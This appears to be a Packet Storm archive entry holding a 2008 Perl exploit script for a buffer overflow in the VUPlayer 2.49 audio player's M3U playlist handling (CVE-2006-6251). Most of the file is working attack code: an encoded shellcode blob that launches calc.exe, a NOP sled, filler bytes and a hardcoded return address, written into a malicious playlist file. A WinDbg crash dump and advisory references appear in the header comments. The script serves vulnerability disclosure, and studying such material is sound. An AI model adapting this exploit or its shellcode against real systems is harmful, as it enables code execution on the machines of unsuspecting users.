vuplayer_bof.pl.txt

2008-08-18T00:00:00
ID PACKETSTORM:69182
Type packetstorm
Reporter LiquidWorm
Modified 2008-08-18T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
#  
# Title: VUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit  
#  
# Summary: VUPlayer is a freeware multi-format audio player for Windows  
#  
# Product web page: http://www.vuplayer.com/vuplayer.php  
#  
# Desc: VUPlayer 2.49 suffers from buffer overflow vulnerability that can be  
# exploited remotely using user intereaction or crafting. It fails to perform  
# adequate boundry condition of the user input file (1016 bytes), allowing us  
# to overwrite the EIP, ECX and EBP registers. Successful exploitation executes  
# calc.exe, failed attempt resolve in DoS.  
#  
#  
# ---------------------------------WinDbg-------------------------------------  
#  
# (e7c.c40): Access violation - code c0000005 (first chance)  
# First chance exceptions are reported before any exception handling.  
# This exception may be expected and handled.  
# eax=00000000 ebx=00000001 ecx=41414141 edx=00da5c98 esi=0050b460 edi=0012ee24  
# eip=41414141 esp=0012eab8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc  
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246  
# 41414141 ?? ???  
#  
# ----------------------------------------------------------------------------  
#  
#  
# Tested on Microsoft Windows XP Professional SP2 (English)  
#  
# Vulnerability discovered by Greg Linares & Expanders in version 2.44 (2006)  
#  
# Refs:  
#  
# - cVE: CVE-2006-6251  
# - MILW0RM:2872  
# - MILW0RM:2870  
# - CERT-VN:VU#311192  
# - BID:21363  
# - FRSIRT:ADV-2006-4783  
# - SECUNIA:23182  
# - XF:vuplayer-plsm3u-bo(30629)  
#  
# Exploit coded by Gjoko 'LiquidWorm' Krstic  
#  
# liquidworm [t00t] gmail.com  
#  
# http://www.zeroscience.org  
#  
# 18.08.2008  
#  
  
  
print "\n\n";  
print "=" x 80;  
print "\n\n";  
print "\tVUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit\n";  
print "\t\t by LiquidWorm <liquidworm [at] gmail.com>\n\n\n";  
print "=" x 80;  
  
# win32_exec - EXITFUNC=thread CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com  
  
$SHELLCODE = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff".  
"\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56".  
"\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30".  
"\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43".  
"\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32".  
"\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42".  
"\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42".  
"\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".  
"\x42\x30\x42\x30\x42\x50\x4b\x48\x45\x34".  
"\x4e\x43\x4b\x58\x4e\x57\x45\x30\x4a\x57".  
"\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31".  
"\x4b\x58\x4f\x45\x42\x52\x41\x30\x4b\x4e".  
"\x49\x54\x4b\x48\x46\x53\x4b\x38\x41\x30".  
"\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a".  
"\x46\x38\x42\x4c\x46\x37\x47\x50\x41\x4c".  
"\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e".  
"\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x50".  
"\x45\x57\x45\x4e\x4b\x38\x4f\x55\x46\x52".  
"\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30".  
"\x4b\x54\x4b\x58\x4f\x55\x4e\x51\x41\x50".  
"\x4b\x4e\x4b\x38\x4e\x51\x4b\x38\x41\x30".  
"\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30".  
"\x43\x4c\x41\x33\x42\x4c\x46\x36\x4b\x38".  
"\x42\x54\x42\x53\x45\x58\x42\x4c\x4a\x37".  
"\x4e\x50\x4b\x58\x42\x34\x4e\x30\x4b\x58".  
"\x42\x47\x4e\x31\x4d\x4a\x4b\x48\x4a\x36".  
"\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x38".  
"\x42\x4b\x42\x50\x42\x50\x42\x30\x4b\x38".  
"\x4a\x36\x4e\x53\x4f\x55\x41\x53\x48\x4f".  
"\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x38".  
"\x42\x4c\x4b\x57\x42\x35\x4a\x36\x4f\x4e".  
"\x50\x4c\x42\x4e\x42\x56\x4a\x56\x4a\x39".  
"\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f".  
"\x47\x4e\x43\x36\x41\x56\x4e\x36\x43\x36".  
"\x50\x32\x45\x36\x4a\x57\x45\x46\x42\x50".  
"\x5a";  
  
  
$FILE = "TETOVIRANJE.m3u";  
  
$GARBAGE = "\x4A" x 461;   
  
$NOPSLED = "\x90" x 200;  
  
$RET = "\xC0\xE6\x12\x00";  
  
print "\n\n[-] Buffering malicious playlist file. Please wait...\r\n";  
  
sleep (5);  
  
open (BOF, ">./$FILE") || die "\nCan't open $FILE: $!";  
  
print BOF "$NOPSLED" . "$SHELLCODE" . "$GARBAGE" . "$RET";  
  
close (BOF);  
  
print "\n\n[+] File $FILE successfully created!\n\n";  
  
system (pause);`